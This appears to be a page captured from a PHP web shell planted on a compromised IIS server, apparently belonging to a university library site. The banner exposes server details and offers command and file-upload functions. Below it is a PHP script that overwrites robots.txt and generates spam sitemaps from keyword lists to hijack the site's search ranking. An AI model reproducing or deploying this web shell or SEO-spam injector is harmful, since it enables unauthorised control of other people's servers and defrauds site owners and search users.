Server IP : 103.11.96.170 / Your IP : 3.148.241.210 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/lms/site/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // Fungsi untuk menolak akses function denied() { header("HTTP/1.0 403 Forbidden"); echo "<h1>Access Denied</h1>"; exit(); } // Mendapatkan URL lengkap untuk sitemap dan robots.txt $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; // Memparsing URL lengkap $parsedUrl = parse_url($fullUrl); $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : ''; $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : ''; $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : ''; // Menghilangkan bagian file (seperti 'asek.php') jika ada dalam path $basePath = dirname($path); // Mengambil direktori tanpa file PHP $baseUrl = $scheme . "://" . $host . rtrim($basePath, '/'); // Pastikan tidak ada garis miring ganda // Menyiapkan URL asli tanpa 'asek.php' $urlAsli = $baseUrl . '/'; // Pastikan URL dasar adalah folder /video/ // Membuat robots.txt $robotsTxt = "User-agent: *" . PHP_EOL; $robotsTxt .= "Allow: /" . PHP_EOL; $robotsTxt .= "Sitemap: " . $urlAsli . "sitemap-1.xml" . PHP_EOL; $robotsTxt .= "Sitemap: " . $urlAsli . "sitemap-2.xml" . PHP_EOL; $robotsTxt .= "Sitemap: " . $urlAsli . "sitemap-3.xml" . PHP_EOL; $robotsTxt .= "Sitemap: " . $urlAsli . "sitemap-4.xml" . PHP_EOL; $robotsTxt .= "Sitemap: " . $urlAsli . "sitemap-5.xml" . PHP_EOL; file_put_contents('robots.txt', $robotsTxt); // Array untuk menyimpan nama file yang akan diproses $fileNames = array("note1.txt", "note2.txt", "note3.txt", "note4.txt", "note5.txt"); $currentSitemap = 1; $sitemapFile = null; // Proses setiap file dalam array foreach ($fileNames as $filename) { if (file_exists($filename)) { // Pastikan file ada sebelum diproses $fileLines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (count($fileLines) > 0) { // Pastikan file tidak kosong // Membuka file sitemap untuk ditulis $sitemapFileName = "sitemap-$currentSitemap.xml"; if ($currentSitemap == 1 || !file_exists($sitemapFileName)) { $sitemapFile = fopen($sitemapFileName, "w"); // Menulis tag pembuka XML untuk sitemap pertama kali fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL); fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL); } else { $sitemapFile = fopen($sitemapFileName, "a"); } // Menulis setiap URL dari file `note*.txt` foreach ($fileLines as $judul) { // Menghasilkan URL tanpa 'asek.php' $sitemapLink = $urlAsli . '?omak=' . urlencode($judul); fwrite($sitemapFile, ' <url>' . PHP_EOL); fwrite($sitemapFile, ' <loc>' . $sitemapLink . '</loc>' . PHP_EOL); date_default_timezone_set('Asia/Jakarta'); $currentTime = date('Y-m-d\TH:i:sP'); fwrite($sitemapFile, ' <lastmod>' . $currentTime . '</lastmod>' . PHP_EOL); fwrite($sitemapFile, ' </url>' . PHP_EOL); } // Menutup file setelah menulis URL fclose($sitemapFile); $currentSitemap++; } } } // Menyelesaikan semua file sitemap dengan menutup tag XML for ($i = 1; $i <= $currentSitemap - 1; $i++) { $sitemapFile = fopen("sitemap-$i.xml", "a"); fwrite($sitemapFile, '</urlset>' . PHP_EOL); // Menutup tag </urlset> fclose($sitemapFile); } // Menampilkan pesan sukses echo "<h1>SUDAH JADI ANJAY</h1>"; ?>